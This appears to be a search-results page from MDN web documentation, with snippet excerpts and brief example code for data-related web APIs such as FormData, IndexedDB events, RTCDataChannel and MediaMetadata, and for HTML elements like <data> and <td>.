...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldataelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits pr...
... htmldataelement.value is a domstring reflecting the value html attribute, containing a machine-readable form of the element's value.
...And 2 more matches
HTMLDataListElement - Web APIs
the htmldatalistelement interface provides special properties (beyond the htmlelement object interface it also has available to it by inheritance) to manipulate <datalist> elements and their content.
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldatalistelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldatalistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inh...
...erits properties from its parent, htmlelement htmldatalistelement.options read only is a htmlcollection representing a collection of the contained option elements.
...And 2 more matches
IDBDatabase: abort event - Web APIs
the abort event is fired on idbdatabase when a transaction is aborted and bubbles up to the connection object.
... bubbles yes cancelable no interface event event handler property onabort examples this example opens a database (creating the database if it does not exist), then opens a transaction, adds a listener to the abort event, then aborts the transaction to trigger the event.
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; db.addeventlistener('abort', () => { console.log('tr...
...And 2 more matches
IDBDatabase: error event - Web APIs
the error event is fired on idbdatabase when a request returns an error and the event bubbles up to the connection object.
... bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique...
...teindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const db = dbopenrequest.result; db.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db ...
...And 2 more matches
LockedFile.getMetadata() - Web APIs
summary the getmetadata method allows to retrieve some metadata about the locked file.
... syntax var request = instanceoflockedfile.getmetadata(param); parameters param optional an object used to request specific metadata.
... each key is a boolean where true means the metadata is expected and where false means it is not expected.
...And 2 more matches
MediaSession.metadata - Web APIs
the metadata property of the mediasession interface contains a mediametadata object providing descriptive information about the currently playing media, or null if the metadata has not been set.
... this metadata is provided by the browser to the device for presentation in any standard media control user interface the device might offer.
... syntax var mediametadata = navigator.mediasession.metadata; navigator.mediasession.metadata = mediametadata; value an instance of mediametadata containing information about the media currently being played.
...And 2 more matches
Metadata.size - Web APIs
WebAPIMetadatasize
the read-only size property of the metadata interface specifies the size, in bytes, of the referenced file or other file system object on disk.
... syntax var size = metadata.size; value a number indicating the size of the file in bytes.
... workingdirectory.getfile("log/important.log", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { fileentry.remove(function() { /* log file removed; do something clever here */ }); } }); }, handleerror); this api has no official w3c or whatwg specification.
...And 2 more matches
Node.getUserData() - Web APIs
WebAPINodegetUserData
the node.getuserdata() method returns any user domuserdata set previously on the given node by node.setuserdata().
... the node.setuserdata and node.getuserdata methods are no longer available from web content.
... element.dataset or weakmap can be used instead.
...And 2 more matches
PushMessageData.arrayBuffer() - Web APIs
the arraybuffer()method of the pushmessagedata interface extracts push message data as an arraybuffer object.
... syntax var myarraybuffer = pushevent.data.arraybuffer(); parameters none.
... examples self.addeventlistener('push', function(event) { var buffer = event.data.arraybuffer(); // do something with your array buffer }); specifications specification status comment push apithe definition of 'arraybuffer()' in that specification.
...And 2 more matches
PushMessageData.blob() - Web APIs
the blob()method of the pushmessagedata interface extracts push message data as a blob object.
... syntax var myblob = pushevent.data.blob(); parameters none.
... examples self.addeventlistener('push', function(event) { var blob = event.data.blob(); // do something with your blob }); specifications specification status comment push apithe definition of 'blob()' in that specification.
...And 2 more matches
PushMessageData.text() - Web APIs
the text()method of the pushmessagedata interface extracts push message data as a plain text string.
... syntax var mytext = pushevent.data.text(); parameters none.
... examples self.addeventlistener('push', function(event) { var textobj = event.data.text(); // do something with your text }); specifications specification status comment push apithe definition of 'text()' in that specification.
...And 2 more matches
RTCDataChannel.binaryType - Web APIs
the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel.
... when a binary message is received on the data channel, the resulting message event's messageevent.data property is an object of the type specified by the binarytype.
... syntax var type = adatachannel.binarytype; adatachannel.binarytype = type; value a domstring that can have one of these values: "blob" received binary messages' contents will be contained in blob objects.
...And 2 more matches
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
the rtcdatachannel property bufferedamountlowthreshold is used to specify the number of bytes of buffered outgoing data that is considered "low." the default value is 0.
... the user agent may implement the process of actually sending data in any way it chooses; this may be done periodically during the event loop or truly asynchronously.
... bufferedamountlow events are not fired after the data channel is closed.
...And 2 more matches
RTCDataChannel: bufferedamountlow event - Web APIs
a bufferedamountlow event is sent to an rtcdatachannel when the number of bytes currently in the outbound data transfer buffer falls below the threshold specified in bufferedamountlowthreshold.
... bubbles no cancelable no interface event event handler property onbufferedamountlow examples this example sets up a handler for bufferedamountlow to request more data any time the data channel's buffer falls below the number of bytes specified by bufferedamountlowthreshold, which we have set to 65536.
... in other words, we'll try to keep at least 64kb of data in the buffer, reading 64kb at a time from the source.
...And 2 more matches
RTCDataChannel.onclosing - Web APIs
the rtcdatachannel.onclosing property is an eventhandler which specifies a function to be called by the browser when the closing event is received by the rtcdatachannel.
... this is a simple event which indicates that the data channel is being closed, that is, rtcdatachannel transitions to "closing" state.
... for example, after rtcdatachannel.close() was called but the underlying data transport might not have been closed yet.
...And 2 more matches
RTCDataChannel.onopen - Web APIs
the rtcdatachannel.onopen property is an eventhandler which specifies a function to be called when the open event is fired; this is a simple event which is sent when the data channel's underlying data transport—the link over which the rtcdatachannel's messages flow—is established or re-established.
... syntax rtcdatachannel.onopen = function; value a function which the browser will call to handle the open event.
... example this example adds a new data channel to an existing rtcpeerconnection, mypeerconnection.
...And 2 more matches
RTCDataChannel.protocol - Web APIs
the read-only rtcdatachannel property protocol returns a domstring containing the name of the subprotocol in use.
... if no protocol was specified when the data channel was created, then this property's value is "" (the empty string).
... the permitted values of this property are defined by the web site or app using the data channel.
...And 2 more matches
RTCDataChannel.stream - Web APIs
the deprecated (and never part of the official specification) read-only rtcdatachannel property stream returns an id number (between 0 and 65,535) which uniquely identifies the rtcdatachannel.
... this id is set at the time the data channel is created, either by the user agent (if rtcdatachannel.negotiated is false) or by the site or app script (if negotiated is true).
... this property has been replaced with the rtcdatachannel.id property.
...And 2 more matches
Data in WebGL - Web APIs
WebAPIWebGL APIData
shader programs have access to three kinds of data storage, each of which has a specific use case.
... each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's javascript code, depending on the specific type of variable.
... glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, each of which with its own purpose and use cases: attributes, varyings, and uniforms.
...And 2 more matches
data-* - SVG: Scalable Vector Graphics
WebSVGAttributedata-*
the data-* svg attributes are called custom data attributes.
...their custom data are available via the svgelement interface of the element the attributes belong to, with the svgelement.dataset property.
... the svgelement.dataset property is a domstringmap that provides the attribute data-test-value via svgelement.dataset.testvalue.
...And 2 more matches
HTMLIFrameElement.getStructuredData()
the getstructureddata() method of the htmliframeelement interface retrieves any structured microdata (and hcard and hcalendar microformat data) contained in the html loaded in the browser <iframe> and returns it as json.
... syntax var instanceofdomrequest = instanceofhtmliframeelement.getstructureddata(); returns a domrequest to handle the getstructureddata() request's success and error cases.
... if the request is successful, the request.result is a json object representation of all microdata contained on the page loaded in the browser.
... examples var browser = document.queryselector('iframe'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getstructureddata(); request.onsuccess = function() { console.log(request.result); } }); running this code in a browser api app and then loading up a page that contains microdata (such as the website of british alt-country band salter cane) will result in a json object being returned, along the lines of: { "items": [ { "type":["http://microformats.org/profile/hcard"], "properties":{"fn":["chris askew"], "n":[ { "properties": { "given-name":["chris"], "family-name":["askew"], ...
TPS Formdata Lists
a formdata asset list is an array of objects, each with the following properties: fieldname: required.
... date: the date the form data was used, expressed in hours from the present, so 0 means now, and -24 means 24 hours ago.
... for example: var formdata1 = [ { fieldname: "testing", value: "success", date: -1 }, { fieldname: "testing", value: "failure", date: -2 }, { fieldname: "username", value: "joe" } ]; formdata lists and phase actions you can use the following functions in phase actions for formdata lists: formdata.add formdata.delete formdata.verify formdata.verifynot for an example, see the tps formdata unittest: http://hg.mozilla.org/services/tps/f...st_formdata.js notes note 1, tps supports the delete action for formdata, but sync currently does not correctly sync deleted form data, see bug 564296.
... note 2, sync currently does not sync formdata dates, so the date field is ignored when performing verify and verify-not actions.
nsICacheMetaDataVisitor
netwerk/cache/nsicacheentrydescriptor.idlscriptable this interface is used for visiting the meta data elements for a specified cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean visitmetadataelement(in string key, in string value); methods visitmetadataelement() this method is called for each key/value pair in the meta data for a cache entry.
... boolean visitmetadataelement( in string key, in string value ); parameters key the key for visiting the meta data for a cache entry.
... value the value for visiting the meta data for a cache entry.
nsIDeviceMotionData
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: this interface was named nsidevicemotiondata prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
... attributes attribute type description type unsigned long the type of motion data reported by this object; see motion type constants for possible values.
...constants motion type constants constant value description type_acceleration 0 the motion data describes device acceleration.
... type_orientation 1 the motion data describes a device orientation chang.
AudioBuffer.getChannelData() - Web APIs
the getchanneldata() method of the audiobuffer interface returns a float32array containing the pcm data associated with the channel, defined by the channel parameter (with 0 representing the first channel).
... syntax var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var nowbuffering = myarraybuffer.getchanneldata(channel); parameters channel the channel property is an index representing the particular channel to get data for.
...r at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
...dioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specification specification status comment web audio apithe definition of 'getchanneldata' in that specification.
DataTransfer.mozTypesAt() - Web APIs
the datatransfer.moztypesat() method returns a list of the format types that are stored for an item at the specified index.
... syntax nsivariant datatransfer.moztypesat(index); arguments index a unsigned long that is the index of the data for which to retrieve the types.
... return value nsivariant a list of data formats (which are strings).
... function drop_handler(event) { var dt = event.datatransfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
FormData.get() - Web APIs
WebAPIFormDataget
the get() method of the formdata interface returns the first value associated with a given key from within a formdata object.
... syntax formdata.get(name); parameters name a usvstring representing the name of the key you want to retrieve.
... return value a formdataentryvalue containing the value.
... example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
the getall() method of the formdata interface returns all the values associated with a given key from within a formdata object.
... syntax formdata.getall(name); parameters name a usvstring representing the name of the key you want to retrieve.
... returns an array of formdataentryvalues whose key matches the value passed in the name parameter.
... example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormDataEntryValue - Web APIs
a string or file that represents a single value from a set of formdata key-value pairs.
... this type is returned by the formdata.get() and formdata.getall() methods.
... the formdata.get() method returns a single value while formdata.getall() returns an array of formdataentryvalues.
... note that the formdata.append() and formdata.set() methods allow passing a blob value, which is converted to a file in the process.
GlobalEventHandlers.onloadeddata - Web APIs
the onloadeddata property of the globaleventhandlers mixin is the eventhandler for processing loadeddata events.
... the loadeddata event is fired when the first frame of the media has finished loading.
... syntax element.onloadeddata = handlerfunction; var handlerfunction = element.onloadeddata; handlerfunction is either null or a javascript function specifying the handler for the event.
... specification specification status comment html living standardthe definition of 'onloadeddata' in that specification.
GlobalEventHandlers.onloadedmetadata - Web APIs
the onloadedmetadata property of the globaleventhandlers mixin is the eventhandler for processing loadedmetadata events.
... the loadedmetadata event is fired when the metadata has been loaded.
... syntax element.onloadedmetadata = handlerfunction; var handlerfunction = element.onloadedmetadata; handlerfunction should be either null or a javascript function specifying the handler for the event.
... specification specification status comment html living standardthe definition of 'onloadedmetadata' in that specification.
HTMLFormElement: formdata event - Web APIs
the formdata event fires after the entry list representing the form's data is constructed.
... this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor.
... general info bubbles no cancelable no interface formdataevent event handler property globaleventhandlers.onformdata examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(...
...); request.open("post", "/formhandler"); request.send(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'formdata' in that specification.
IDBDatabase: versionchange event - Web APIs
the versionchange event is fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested.
... bubbles no cancelable no interface event event handler property onversionchange examples this example opens a database and, on success, adds a listener to versionchange: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', '...
...month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.addeventlistener('success', event => { const db = event.target.result; db.addeventlistener('versionchange', event => { console.log('the version of this database has changed'); }); }); the same example, using the onversionchange event handler property: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.create...
...index('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = event.target.result; db.onversionchange = event => { console.log('the version of this database has changed'); }; }; ...
InputEvent.data - Web APIs
WebAPIInputEventdata
the data read-only property of the inputevent interface returns a domstring with the inserted characters.
... syntax var astring = inputevent.data; value a domstring.
... examples in the following simple example we've set up an event listener on the input event so that when any change is made to the contents of the <input> element (either by typing or pasting), the text that was added is retrieved via the inputevent.data property and reported in the paragraph below the input.
... <p>some text to copy and paste.</p> <input type="text"> <p class="result"></p> var editable = document.queryselector('input') var result = document.queryselector('.result'); editable.addeventlistener('input', (e) => { result.textcontent = "inputted text: " + e.data; }); specifications specification status comment input events level 2the definition of 'data' in that specification.
MediaMetadata.album - Web APIs
the album property of the mediametadata interface returns or sets the name of the album or collection containing the media to be played.
... syntax var album = mediametadata.album mediametadata.album = album value a string containing the name of the album.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaMetadata.artist - Web APIs
the artist property of the mediametadata interface returns or sets the name of the artist, group, creator, etc., of the media to be played.
... syntax var artist = mediametadata.artist mediametadata.artist = artist value a string containing the name of the artist.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaMetadata.artwork - Web APIs
the artwork property of the mediametadata interface returns or sets an array of mediaimage objects representing images associated with playing media.
... syntax var artwork[] = mediametadata.artwork mediametadata.artwork = artwork[] value an array of mediaimage objects.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaMetadata.title - Web APIs
the title property of the mediametadata interface returns or sets the title of the media to be played.
... syntax var title = mediametadata.title mediametadata.title = title value a string containing the title of the media.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
NDEFRecord.data - Web APIs
WebAPINDEFRecorddata
the data property of the ndefrecord interface is dataview providing access to the payload data of the record.
... it provides access to a raw content of the record and thus data consumer might need to decode it.
... syntax ndefrecord.data value a dataview that contains encoded payload data of the record.
... specifications specification status comment web nfc, ndefrecord.data draft initial definition.
Notification.data - Web APIs
WebAPINotificationdata
the data read-only property of the notification interface returns a structured clone of the notification's data, as specified in the data option of the notification() constructor.
... the notification's data can be any arbitrary data that you want associated with the notification.
... syntax var data = notification.data; value a structured clone.
... var options = { body: 'do you like my body?', data: 'i like peas.' } var n = new notification('test notification',options); console.log(n.data) // should return 'i like peas.' specifications specification status comment notifications apithe definition of 'data' in that specification.
RTCDataChannel.maxPacketLifeTime - Web APIs
the read-only rtcdatachannel property maxpacketlifetime returns the amount of time, in milliseconds, the browser is allowed to take to attempt to transmit a message, as set when the data channel was created, or null.
... syntax var lifetime = adatachannel.maxpacketlifetime; value the number of milliseconds over which the browser may continue to attempt to transmit the message until it either succeeds or gives up.
... if not set when rtcpeerconnection.createdatachannel() was called to create the data channel, this value is null.
... example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxpacketlifetime' in that specification.
RTCDataChannel.maxRetransmits - Web APIs
the read-only rtcdatachannel property maxretransmits returns the maximum number of times the browser should try to retransmit a message before giving up, as set when the data channel was created, or null, which indicates that there is no maximum.
... this can only be set when the rtcdatachannel is created by calling rtcpeerconnection.createdatachannel(), using the maxretransmits field in the specified options.
... syntax var tries = adatachannel.maxretransmits; value the maximum number of times the browser will try to retransmit a message before giving up, or null if not set when rtcpeerconnection.createdatachannel() was called.
... example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxretransmits' in that specification.
RTCDataChannel: message event - Web APIs
the webrtc message event is sent to the onmessage event handler on an rtcdatachannel object when a message has been received from the remote peer.
... examples for a given rtcdatachannel, dc, created for a peer connection using its createdatachannel() method, this code sets up a handler for incoming messages and acts on them by adding the data contained within the message to the current document as a new <p> (paragraph) element.
... dc.addeventlistener("message", ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); }, false); lines 2-4 create the new paragraph element and add the message data to it as a new text node.
... you can also use an rtcdatachannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification.
RTCDataChannel.negotiated - Web APIs
the read-only rtcdatachannel property negotiated indicates whether the rtcdatachannel's connection was negotiated by the web app (true) or by the webrtc layer (false).
... see creating a data channel in using webrtc data channels for further information about this property.
... syntax var negotiated = adatachannel.negotiated; value true if the rtcdatachannel's connection was negotiated by the web app itself; false if the negotiation was handled by the webrtc layer.
... if (datachannel.negotiated) { shutdownremotechannel(datachannel.id); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.negotiated' in that specification.
RTCDataChannel.onmessage - Web APIs
the rtcdatachannel.onmessage property stores an eventhandler which specifies a function to be called when the message event is fired on the channel.
... syntax rtcdatachannel.onmessage = function; value a function which the browser will call to handle the message event.
... example this code snippet creates a peer connection, adds a data channel to it, and starts creating new <p> (paragraph) elements each time a message arrives, with the message's contents displayed inside it.
... let pc = new rtcpeerconnection(); let dc = pc.createdatachannel(); dc.onmessage = function(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onmessage' in that specification.
RTCDataChannel.ordered - Web APIs
the read-only rtcdatachannel property ordered indicates whether or not the data channel guarantees in-order delivery of messages; the default is true, which indicates that the data channel is indeed ordered.
... this is set when the rtcdatachannel is created, by setting the ordered property on the rtcdatachannelinit object passed as rtcpeerconnection.createdatachannel()'s options parameter.
... syntax var ordered = adatachannel.ordered; a boolean value which is true if in-order delivery is guaranteed and is otherwise false.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.ordered' in that specification.
RTCDataChannelEvent.channel - Web APIs
the read-only property rtcdatachannelevent.channel returns the rtcdatachannel associated with the event.
... syntax var channel = rtcdatachannelevent.channel; value a rtcdatachannel object representing the data channel linking the receiving rtcpeerconnection to its remote peer.
... example the first line of code in the datachannel event handler shown below takes the channel from the event object and saves it locally for use by the code handling data traffic.
... pc.ondatachannel = function(event) { inbounddatachannel = event.channel; inbounddatachannel.onmessage = handleincomingmessage; inbounddatachannel.onopen = handlechannelopen; inbounddatachannel.onclose = handlechannelclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent.channel' in that specification.
RTCPeerConnection: datachannel event - Web APIs
a datachannel event is sent to an rtcpeerconnection instance when an rtcdatachannel has been added to the connection, as a result of the remote peer calling rtcpeerconnection.createdatachannel().
... bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel.
... pc.addeventlistener("datachannel", ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; }, false); receivechannel is set to the value of the event's channel property, which specifies the rtcdatachannel object representing the data channel linking the remote peer to the local one.
... this same code can also instead use the rtcpeerconnection interface's ondatachannel event handler property, like this: pc.ondatachannel = ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'datachannel' in that specification.
SVGAnimatedPathData - Web APIs
svg animated path data interface the svganimatedpathdata interface supports elements which have a 'd' attribute which holds svg path data, and supports the ability to animate that attribute.
... name type description animatednormalizedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
... normalizedpathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
... mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios samsung internet svganimatedpathdata chrome ?
SVGMetadataElement - Web APIs
the svgmetadataelement interface corresponds to the <metadata> element.
...o,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgmetadataelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmetadataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this int...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgmetadataelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmetadataelement' in that specification.
ServiceWorkerMessageEvent.data - Web APIs
the data read-only property of the serviceworkermessageevent interface returns the event's data.
... it can be any data type.
... syntax var mydata = serviceworkermessageeventinstance.data; value any data type.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
WebGL2RenderingContext.getFragDataLocation() - Web APIs
the webgl2renderingcontext.getfragdatalocation() method of the webgl 2 api returns the binding of color numbers to user-defined varying out variables.
... syntax glint gl.getfragdatalocation(program, name); parameters program a webglprogram to query.
... examples // program is a linked webglprogram gl.getfragdatalocation(program, 'fragcolor'); specifications specification status comment webgl 2.0the definition of 'getfragdatalocation' in that specification.
... opengl es 3.0the definition of 'glgetfragdatalocation' in that specification.
<data> - HTML: Hypertext Markup Language
WebHTMLElementdata
the html <data> element links a given piece of content with a machine-readable translation.
... implicit aria role no corresponding role permitted aria roles any dom interface htmldataelement attributes this element's attributes include the global attributes.
... <p>new products</p> <ul> <li><data value="398">mini ketchup</data></li> <li><data value="399">jumbo ketchup</data></li> <li><data value="400">mega jumbo ketchup</data></li> </ul> specifications specification status comment html living standardthe definition of '<data>' in that specification.
... living standard no change from html5 html5the definition of '<data>' in that specification.
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
WebHTMLElementhead
the html <head> element contains machine-readable information (metadata) about the document, like its title, scripts, and style sheets.
... permitted content if the document is an <iframe> srcdoc document, or if title information is available from a higher level protocol (like the subject line in html email), zero or more elements of metadata content.
... otherwise, one or more elements of metadata content where exactly one is a <title> element.
... profile the uris of one or more metadata profiles, separated by white space.
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
WebHTMLElementtd
the html <td> element defines a cell of a table that contains data.
... the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element.
... implicit aria role cell if a descendant of a <table> element permitted aria roles any dom interface htmltabledatacellelement attributes this element includes the global attributes.
... charoff this attribute is used to shift column data to the right of the character specified by the char attribute.
DataView() constructor - JavaScript
the dataview() constructor is used to create dataview objects.
